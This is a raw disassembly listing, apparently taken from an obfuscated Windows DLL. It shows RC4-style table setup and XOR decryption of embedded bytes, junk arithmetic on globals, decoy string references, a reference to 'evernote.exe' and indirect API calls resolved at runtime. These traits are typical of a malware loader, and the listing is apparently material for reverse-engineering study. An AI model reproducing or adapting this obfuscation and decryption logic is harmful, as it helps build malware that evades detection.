mov edx, str.CALENDAR_48X48_240
mov ecx, str._tView.DriverUpdaterList__view_
call fcn.10014c39
imul esi, esi, 0xc518ad95
mov edi, esi
or edi, 0xee1f4d69
mov eax, dword [esp + 0x14]
sub esi, 0xa587636
inc eax
mov ecx, str.disabled_by_default_viz.surface_id_flow
movzx eax, al
mov dword [esp + 0x14], eax
mov al, byte [esp + 0xf]
jmp 0x1001707b
sub al, 0x30
cmp al, 9
ja 0x10017081
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10017072
jmp 0x10017087
or esi, 0x45bf7c32
mov ecx, str.Specifies_to_continue_even_if_version_checking_fails__boolean_
sub esi, 0x1fa6ff5f
call fcn.10015b44
mov eax, dword [esp + 0x14]
mov edx, 0x1c98
push 0x73
pop ecx
mov al, byte [esp + eax + 0x200]
mov byte [esp + 0x1b], al
movzx eax, al
mov dword [esp + 0x20], eax
add eax, dword [esp + 0x10]
movzx eax, al
mov dword [esp + 0x10], eax
mov eax, str.stretch_left
add edx, ecx
inc eax
cmp edx, 0x7bf
ja 0x100170d9
movsx ecx, byte [eax]
test ecx, ecx
jne 0x100170c5
jmp 0x100170ef
call fcn.100158b9
imul edi, esi, 0xc901b967
call fcn.100153a1
and edi, 0xcbca3b2f
call fcn.10014aef
mov esi, str.sine_in_out
and edi, 0x279cd30a
push ecx
mov edx, esi
call fcn.100159fd
mov al, byte [str.sine_in_out]
pop ecx
mov ecx, esi
jmp 0x1001711a
sub al, 0x30
cmp al, 9
ja 0x10017120
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10017111
jmp 0x10017126
add edi, 0xcfed66a
mov ecx, dword [esp + 0x10]
mov esi, edi
mov edx, dword [esp + 0x14]
and esi, 0x8713e031
imul edi, edi, 0x6f5ff66f
mov dword [0x10029ee4], esi
mov al, byte [esp + ecx + 0x200]
mov byte [esp + edx + 0x200], al
mov al, byte [esp + 0x1b]
mov byte [esp + ecx + 0x200], al
movzx eax, byte [esp + edx + 0x200]
add eax, dword [esp + 0x20]
mov edx, dword [esp + 0x38]
movzx eax, al
mov al, byte [esp + eax + 0x200]
xor al, byte [esp + edx + 0x68]
movzx eax, al
mov word [esp + edx*2 + 0x3d0], ax
inc edx
mov dword [esp + 0x38], edx
cmp edx, 0x2a
jb 0x10016faa
mov dl, byte [esp + 0xf]
xor eax, eax
mov word [esp + 0x424], ax
mov ecx, str.disabled_by_default_viz.surface_id_flow
jmp 0x100171b2
sub dl, 0x30
cmp dl, 9
ja 0x100171b8
inc ecx
mov dl, byte [ecx]
test dl, dl
jne 0x100171a7
jmp 0x100171c0
mov edi, esi
and edi, 0x94d44085
mov dword [esp + 0x40], 0x24
mov ecx, eax
mov dword [esp + 0x44], 0x28
mov edx, eax
mov dword [esp + 0x48], 0xffffffb4
sub edx, dword [esp + ecx*4 + 0x40]
inc ecx
cmp ecx, 3
jl 0x100171dc
push 0x1d
pop ecx
mov dword [esp + 0x1c], edx
mov edx, ecx
mov dword [esp + 0x5c], 0x35
mov ecx, eax
mov dword [esp + 0x60], 0xffffffae
add edx, dword [esp + ecx*4 + 0x5c]
inc ecx
cmp ecx, 2
jl 0x10017201
push 0x5b
mov dword [esp + 0x13c], edx
pop edx
mov dword [esp + 0x5c], 0x43
mov ecx, eax
mov dword [esp + 0x60], 0xffffff62
add edx, dword [esp + ecx*4 + 0x5c]
inc ecx
cmp ecx, 2
jl 0x10017227
mov dword [esp + 0x184], edx
mov dword [esp + 0x5c], 0x2e
mov dword [esp + 0x60], 0xffffff81
inc eax
cmp eax, 0x1639
jl 0x1001725b
cmp byte [eax + str.stretch_left], 0
jne 0x10017248
jmp 0x10017260
call fcn.100158b9
lea esi, [edi - 0x189c9292]
mov dword [0x10029d8c], esi
push ecx
push ecx
call fcn.10015cb4
pop ecx
pop ecx
xor eax, eax
push 0x52
mov ecx, eax
pop edx
add edx, dword [esp + ecx*4 + 0x5c]
inc ecx
cmp ecx, 2
jl 0x1001727c
mov dword [esp + 0x24], 0x36
movaps xmm1, xmm2
mov dword [esp + 0x28], 0x62
mov dword [esp + 0x2c], 0x1e
mov dword [esp + 0x30], 0xffffff15
movups xmm0, xmmword [esp + 0x24]
push 0xa
mov dword [esp + 0x28], 0x20
paddd xmm1, xmm0
mov dword [esp + 0x30], 0x4c
movaps xmm0, xmm1
mov dword [esp + 0x34], 0xffffffea
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [esp + 0x184], edx
movups xmm0, xmm1
mov dword [esp + 0x44], 0x47
psrldq xmm0, 4
mov edx, eax
paddd xmm1, xmm0
mov dword [esp + 0x48], 0x5d
movd ecx, xmm1
movaps xmm1, xmm2
pop edi
mov dword [esp + 0x28], edi
movups xmm0, xmmword [esp + 0x24]
add ecx, 0x39
mov dword [esp + 0x24], 0x5e
mov dword [esp + 0x17c], ecx
psubd xmm1, xmm0
mov dword [esp + 0x28], 0x13
movaps xmm0, xmm1
mov dword [esp + 0x2c], 6
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [esp + 0x30], 0xffffff3c
movups xmm0, xmm1
mov dword [esp + 0x48], 0xffffff5c
psrldq xmm0, 4
paddd xmm1, xmm0
movups xmm0, xmmword [esp + 0x24]
movd ecx, xmm1
movaps xmm1, xmm2
paddd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
add ecx, 0x68
paddd xmm1, xmm0
mov dword [esp + 0x1a4], ecx
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd ecx, xmm1
add ecx, 0x4d
xor esi, 0x4b8c8e87
mov dword [esp + 0x178], ecx
mov ecx, eax
mov dword [esp + 0x20], esi
sub edx, dword [esp + ecx*4 + 0x40]
inc ecx
cmp ecx, 3
jl 0x100173a8
push 0xd
mov dword [esp + 0x178], edx
mov ecx, eax
pop edx
mov dword [esp + 0x94], 0x3c
mov dword [esp + 0x98], edi
mov dword [esp + 0x9c], edi
mov dword [esp + 0xa0], 0x2d
mov dword [esp + 0xa4], 0xffffff8f
sub edx, dword [esp + ecx*4 + 0x94]
inc ecx
cmp ecx, 5
jl 0x100173ed
push 0x32
pop ecx
mov dword [esp + 0x12c], edx
mov dword [esp + 0xb8], 0x1f66204d
mov byte [esp + 0xbc], cl
mov dword [esp + 0xbd], 0x3a171282
mov dword [esp + 0xc1], 0xab3dc3a7
mov dword [esp + 0xc5], 0x479fc880
mov dword [esp + 0xc9], 0x549a8ec0
mov dword [esp + 0xcd], 0xab08f057
mov dword [esp + 0xd1], 0xc3000bb7
cmp byte [str.sine_in_out], al
je 0x10017478
inc eax
cmp eax, 0x1fe4
je 0x10017473
cmp byte [eax + str.sine_in_out], 0
jne 0x10017460
jmp 0x10017478
call fcn.10014eb8
mov ecx, str.evernote.exe
call fcn.10014f86
push 7
pop ecx
mov esi, str.ACCOUNT_MGR_PRESSED_24X24_240
lea edi, [esp + 0x68]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, dword [esp + 0x20]
add edi, 0x19efdb6d
xor eax, eax
mov dword [esp + 0x10c], edi
mov ecx, eax
mov dword [0x10029ee4], edi
mov byte [esp + ecx + 0x200], cl
inc ecx
cmp ecx, 0x100
jb 0x100174ad
mov esi, eax
mov edi, eax
xor edx, edx
mov cl, byte [esp + esi + 0x200]
mov eax, esi
mov byte [esp + 0x1b], cl
div dword [esp + 0xb4]
movzx ecx, cl
movzx eax, byte [esp + edx + 0x68]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x200]
mov byte [esp + esi + 0x200], al
inc esi
mov al, byte [esp + 0x1b]
mov byte [esp + edi + 0x200], al
cmp esi, 0x100
jb 0x100174c1
mov edi, dword [esp + 0x10c]
mov esi, edi
or esi, 0xe88332b6
add esi, 0x366a4cbe
xor eax, eax
mov dword [esp + 0x10], eax
mov ecx, eax
mov dword [esp + 0x38], eax
movzx eax, byte [str.sine_in_out]
mov dword [esp + 0x3c], eax
lea eax, [ecx + 1]
mov edx, 0x2027
mov ecx, dword [esp + 0x3c]
movzx eax, al
mov dword [esp + 0x14], eax
mov eax, str.sine_in_out
jmp 0x1001755c
add edx, ecx
inc eax
cmp edx, 0x2f3
ja 0x10017562
movzx ecx, byte [eax]
test ecx, ecx
jne 0x1001754e
jmp 0x10017572
mov ecx, str.retrans:
call fcn.10015b44
or esi, 0xe15a0893
add esi, 0xb357b084
mov edx, str.T_0D8qUu
and esi, 0xeead511c
push ecx
mov ecx, edi
mov dword [0x10029d8c], esi
call fcn.10014b92
movzx eax, byte [str.disabled_by_default_viz.surface_id_flow]
mov edx, 0x7e2
pop ecx
mov ecx, str.disabled_by_default_viz.surface_id_flow
jmp 0x100175b7
add edx, eax
inc ecx
cmp edx, 0x126f
ja 0x10017684
movzx eax, byte [ecx]
test eax, eax
jne 0x100175a5
and edi, 0x82b6d66
mov eax, dword [esp + 0x14]
lea esi, [edi + 0x3d9289dd]
mov dword [esp + 0x20], esi
mov esi, dword [esp + 0x14]
push 0x1d
mov cl, byte [esp + eax + 0x204]
mov eax, dword [esp + 0x14]
movzx edx, cl
add eax, edx
mov dword [0x10029ee4], edi
movzx eax, al
mov dword [esp + 0x14], eax
mov al, byte [esp + eax + 0x204]
mov byte [esp + esi + 0x204], al
mov eax, dword [esp + 0x14]
mov byte [esp + eax + 0x204], cl
mov ecx, esi
mov esi, dword [esp + 0x24]
movzx eax, byte [esp + ecx + 0x204]
add eax, edx
mov edx, dword [esp + 0x3c]
movzx eax, al
mov al, byte [esp + eax + 0x204]
xor al, byte [esp + edx + 0xbc]
mov byte [esp + edx + 0x6c], al
inc edx
pop eax
mov dword [esp + 0x38], edx
cmp edx, eax
jb 0x10017534
xor ecx, ecx
mov dword [esp + 0x40], 0x2c
mov byte [esp + 0x85], cl
mov edx, ecx
mov dword [esp + 0x44], 0xb
mov eax, ecx
mov dword [esp + 0x48], 0xffffffc9
sub edx, dword [esp + eax*4 + 0x40]
inc eax
cmp eax, 3
jl 0x10017667
mov al, byte [str.disabled_by_default_viz.surface_id_flow]
mov dword [esp + 0x20], edx
mov edx, str.disabled_by_default_viz.surface_id_flow
jmp 0x10017704
push ecx
push ecx
mov edx, edi
mov ecx, esi
call fcn.100152a6
pop ecx
pop ecx
push 0x73
imul edi, edi, 0xce16d3e9
mov edx, 0xe13
mov eax, str.stretch_left
pop ecx
add edx, ecx
inc eax
cmp edx, 0x21c4
ja 0x100176b8
movsx ecx, byte [eax]
test ecx, ecx
jne 0x100176a4
jmp 0x100176c2
push edi
push ecx
call fcn.10015893
add esp, 8
mov edi, esi
xor edi, 0xff7f41c0
mov ecx, str.unable_to_create_new_section
call fcn.10015b44
mov ecx, str.stretch_left
mov al, 0x73
sub al, 0x30
cmp al, 9
ja 0x100176ea
inc ecx
mov al, byte [ecx]
test al, al
jne 0x100176db
jmp 0x100176f0
imul edi, edi, 0x89948ede
xor edi, 0x9c7cafec
jmp 0x100175c1
sub al, 0x30
cmp al, 9
ja 0x1001770a
inc edx
mov al, byte [edx]
test al, al
jne 0x100176fb
jmp 0x10017710
and esi, 0x395cf5d7
push 0x3b
pop eax
and edi, 0x2089112
mov dword [esp + 0x98], eax
or edi, 0x75d42ca9
mov dword [esp + 0x94], 0x40
mov dword [esp + 0x9c], 0xf
mov eax, ecx
mov dword [esp + 0xa0], 0x25
mov dword [esp + 0xa4], 0xffffffb9
mov dword [esp + 0x10], ecx
mov edx, str.sine_in_out
cmp byte [str.sine_in_out], cl
je 0x10017783
mov al, byte [str.sine_in_out]
sub al, 0x30
cmp al, 9
ja 0x10017779
inc edx
mov al, byte [edx]
test al, al
jne 0x1001776a
jmp 0x1001777f
lea esi, [edi + 0x7ea1bb48]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0xec]
or esi, 0x49343f11
sub edx, dword [esp + eax*4 + 0x94]
inc eax
mov dword [esp + 0xec], edx
mov dword [esp + 0x10], eax
cmp eax, 5
jl 0x10017758
mov dword [esp + 0x10], ecx
mov edx, ecx
mov dword [esp + 0x24], 0x19
mov dword [esp + 0x28], 0xd
mov dword [esp + 0x2c], 0x1b
mov dword [esp + 0x30], 0xffffffbf
lea eax, [edi - 0x189fa6e0]
imul edi, eax, 0x451caf73
mov eax, dword [esp + 0x10]
sub eax, dword [esp + edx*4 + 0x24]
inc edx
mov dword [esp + 0x10], eax
lea esi, [edi + 0x5e81374c]
cmp edx, 4
jl 0x100177ce
mov dword [esp + 0x24], 0x4c
movaps xmm1, xmm2
mov dword [esp + 0x28], 0x64
mov dword [esp + 0x2c], 3
mov dword [esp + 0x30], 0xffffff32
movups xmm0, xmmword [esp + 0x24]
push 0x4b
pop edi
paddd xmm1, xmm0
mov dword [esp + 0x24], edi
movaps xmm0, xmm1
mov dword [esp + 0x28], 0x5e
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [esp + 0x2c], 0x4a
movups xmm0, xmm1
mov dword [esp + 0x30], 0xfffffedf
psrldq xmm0, 4
paddd xmm1, xmm0
mov dword [esp + 0x5c], 0x33
movups xmm0, xmmword [esp + 0x24]
push 0x32
movd eax, xmm1
movaps xmm1, xmm2
paddd xmm1, xmm0
mov dword [esp + 0x64], 0xffffff82
movaps xmm0, xmm1
psrldq xmm0, 8
add eax, 0x1b
paddd xmm1, xmm0
mov dword [esp + 0xb8], eax
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
pop edx
add eax, edx
mov edx, edi
mov dword [esp + 0xf4], eax
and esi, 0x14c7c09
mov eax, ecx
add edx, dword [esp + eax*4 + 0x5c]
or esi, 0x843bfc9a
inc eax
cmp eax, 2
jl 0x100178b1
push 0x36
pop edi
mov dword [esp + 0x24], edi
movaps xmm1, xmm2
mov dword [esp + 0x28], 0x24
mov dword [esp + 0x2c], 0x2b
mov dword [esp + 0x30], 0xf4f
movups xmm0, xmmword [esp + 0x24]
push 0x32
mov dword [0x10029d8c], esi
paddd xmm1, xmm0
mov dword [esp + 0xfc], edx
movaps xmm0, xmm1
mov dword [esp + 0x64], 0x1f94
psrldq xmm0, 8
mov edx, str.disabled_by_default_viz.surface_id_flow
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x2c
xor esi, 0x2249c5cc
mov dword [esp + 0xdc], eax
pop eax
mov dword [esp + 0x5c], eax
mov al, byte [str.disabled_by_default_viz.surface_id_flow]
jmp 0x10017949
sub al, 0x30
cmp al, 9
ja 0x1001794f
inc edx
mov al, byte [edx]
test al, al
jne 0x10017940
jmp 0x10017955
imul esi, esi, 0xfb67470d
push 0x3a
mov eax, ecx
pop edx
add edx, dword [esp + eax*4 + 0x5c]
inc eax
cmp eax, 2
jl 0x1001795a
movzx eax, byte [str.disabled_by_default_viz.surface_id_flow]
mov dword [esp + 0x130], edx
mov edx, str.disabled_by_default_viz.surface_id_flow
mov dword [esp + 0x44], edi
mov edi, 0x2613
mov dword [esp + 0x14], 0x48
mov dword [esp + 0x40], 0x5b
mov dword [esp + 0x48], 0xffffff67
jmp 0x100179a8
add edi, eax
inc edx
cmp edi, 0xe0e
ja 0x100179ae
movzx eax, byte [edx]
test eax, eax
jne 0x1001799a
jmp 0x100179bb
call fcn.10015164
imul esi, esi, 0xd39f69a9
xor ecx, ecx
mov edx, dword [esp + 0x14]
or esi, 0x8f583b2e
mov eax, ecx
add edx, dword [esp + eax*4 + 0x40]
inc eax
cmp eax, 3
jl 0x100179c7
push 0x3b
mov dword [esp + 0x18], edx
sub esi, 0x5750e586
mov dword [esp + 0x60], 0x2c
mov eax, ecx
mov dword [esp + 0x64], 0xffffff99
pop edx
add edx, dword [esp + eax*4 + 0x5c]
inc eax
cmp eax, 2
jl 0x100179f0
cmp byte [str.sine_in_out], 0
mov dword [esp + 0xb0], edx
mov dword [esp + 0x94], 0x2a
mov dword [esp + 0x98], 0x48
mov dword [esp + 0x9c], 0x3d
mov dword [esp + 0xa0], 0x30
mov dword [esp + 0xa4], 0xffffff21
je 0x10017a5a
inc ecx
cmp ecx, 0x70d
je 0x10017a55
cmp byte [ecx + str.sine_in_out], 0
jne 0x10017a41
jmp 0x10017a5a
call fcn.10015982
push ecx
mov edx, str.disabled_by_default_viz.surface_id_flow
imul edi, esi, 0xda9ab050
call fcn.100159fd
xor eax, eax
pop ecx
mov ecx, eax
mov edx, eax
sub edx, dword [esp + ecx*4 + 0x94]
inc ecx
cmp ecx, 5
jl 0x10017a72
push 0x16
pop ecx
push 0x46
mov dword [esp + 0x3c], edx
mov dword [esp + 0xa4], ecx
mov ecx, eax
mov dword [esp + 0x98], 0x21
mov dword [esp + 0x9c], 0x27
mov dword [esp + 0xa0], 0x17
mov dword [esp + 0xa8], 0xffffffcc
pop edx
sub edx, dword [esp + ecx*4 + 0x94]
inc ecx
cmp ecx, 5
jl 0x10017abe
push 0x56
mov dword [esp + 0x124], edx
mov ecx, eax
pop edx
push 3
pop esi
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], 0x44
mov dword [esp + 0x48], 0xffffff63
add edx, dword [esp + ecx*4 + 0x40]
inc ecx
cmp ecx, esi
jl 0x10017aee
mov ecx, edi
mov dword [esp + 0x3c], edx
mov esi, eax
mov dword [esp + 0x24], 0x1e
mov dword [esp + 0x28], 0x57
mov edx, eax
mov dword [esp + 0x2c], 0x49
xor ecx, 0x7ce4929f
mov dword [esp + 0x30], 0xffffff42
sub esi, dword [esp + edx*4 + 0x24]
inc edx
cmp edx, 4
jl 0x10017b27
push 0x22
pop edx
mov dword [esp + 0x28], edx
movaps xmm1, xmm2
mov edx, dword [esp + 0xf0]
xor ecx, 0x50840860
mov dword [esp + 0x24], 0x59
or ecx, 0xe7bd78f
mov dword [esp + 0x2c], 0x4b
mov dword [esp + 0x30], 0xffffff3a
movups xmm0, xmmword [esp + 0x24]
mov dword [esp + 0x1a8], esi
mov esi, str.stretch_left
mov dword [esp + 0xf0], edx
mov dl, 0x73
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd dword [esp + 0x5c], xmm1
sub dl, 0x30
cmp dl, 9
ja 0x10017bb3
inc esi
mov dl, byte [esi]
test dl, dl
jne 0x10017ba2
jmp 0x10017bb9
xor ecx, 0x949e6670
sub ecx, 0x3e46091f
cmp byte [str.disabled_by_default_viz.surface_id_flow], al
je 0x10017bee
inc eax
cmp eax, 0x6db
jg 0x10017bda
cmp byte [eax + str.disabled_by_default_viz.surface_id_flow], 0
jne 0x10017bc7
jmp 0x10017bee
push ecx
mov edx, str.stretch_left
call fcn.100159fd
pop ecx
mov ecx, edi
xor ecx, 0xbe23adcd
imul eax, ecx, 0x5e525970
mov dword [0x10029d8c], eax
or eax, 0x76798bdb
push 0x10
push dword [esp + 0x12c]
mov dword [0x10029ee4], eax
lea eax, [esp + 0x118]
push eax
call fcn.1001466e
push 0x48
push dword [esp + 0x1a0]
lea eax, [esp + 0x324]
push eax
call fcn.1001466e
mov ecx, dword [esp + 0x70]
lea eax, [esp + 0x108]
add esp, 0x18
lea edx, [esp + 0x3ac]
push eax
push ecx
push dword [esp + 0x19c]
mov ecx, dword [esp + 0x198]
push dword [esp + 0x1a8]
call fcn.1001bfc3
call eax
mov ecx, dword [esp + 0xf0]
call fcn.10014037
lea ecx, [esp + 0xf0]
mov dword [esp + 0x354], eax
push ecx
push dword [esp + 0x1b8]
mov ecx, dword [esp + 0xf0]
lea edx, [esp + 0x380]
push ecx
mov ecx, dword [esp + 0x1c4]
push eax
call fcn.1001bfc3
call eax
mov edx, dword [esp + 0x1bc]
xor eax, eax
push dword [esp + 0x150]
xor ecx, ecx
xor esi, esi
push dword [esp + 0x158]
add edx, esi
bts eax, edx
cmp edx, 0x20
push 8
cmovae ecx, eax
xor eax, ecx
cmp edx, 0x40
mov dword [esp + 0x4c], eax
lea edx, [esp + 0x368]
cmovae ecx, eax
lea eax, [esp + 0x4c]
push eax
mov eax, dword [esp + 0x168]
cmp eax, dword [esp + 0x16c]
mov eax, dword [esp + 0x1dc]
mov dword [esp + 0x54], ecx
mov ecx, dword [esp + 0x170]
cmovne ecx, dword [esp + 0x174]
cmp eax, dword [esp + 0x1d8]
mov eax, dword [esp + 0xbc]
cmovne eax, dword [esp + 0x1d4]
or ecx, eax
mov eax, dword [esp + 0x1c0]
cmp dword [esp + 0x1bc], eax
mov eax, dword [esp + 0x1b0]
cmovne eax, dword [esp + 0x1a8]
or ecx, eax
mov eax, dword [esp + 0x198]
and eax, 7
or ecx, eax
push ecx
push dword [esp + 0x1d4]
mov ecx, dword [esp + 0x180]
push dword [esp + 0x36c]
call fcn.1001bfc3
call eax
mov al, byte [str.sine_in_out]
mov ecx, str.sine_in_out
jmp 0x10017d7f
sub al, 0x30
cmp al, 9
ja 0x10017da5
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10017d76
mov eax, dword [0x10029d8c]
and eax, 0xeb352587
mov dword [0x10029d8c], eax
call fcn.100152c8
mov al, byte [str.disabled_by_default_viz.surface_id_flow]
mov edi, str.disabled_by_default_viz.surface_id_flow
mov ecx, edi
jmp 0x10017dbe
mov eax, dword [0x10029d8c]
xor eax, 0x9142047e
jmp 0x10017d88
test al, al
jne 0x10017db1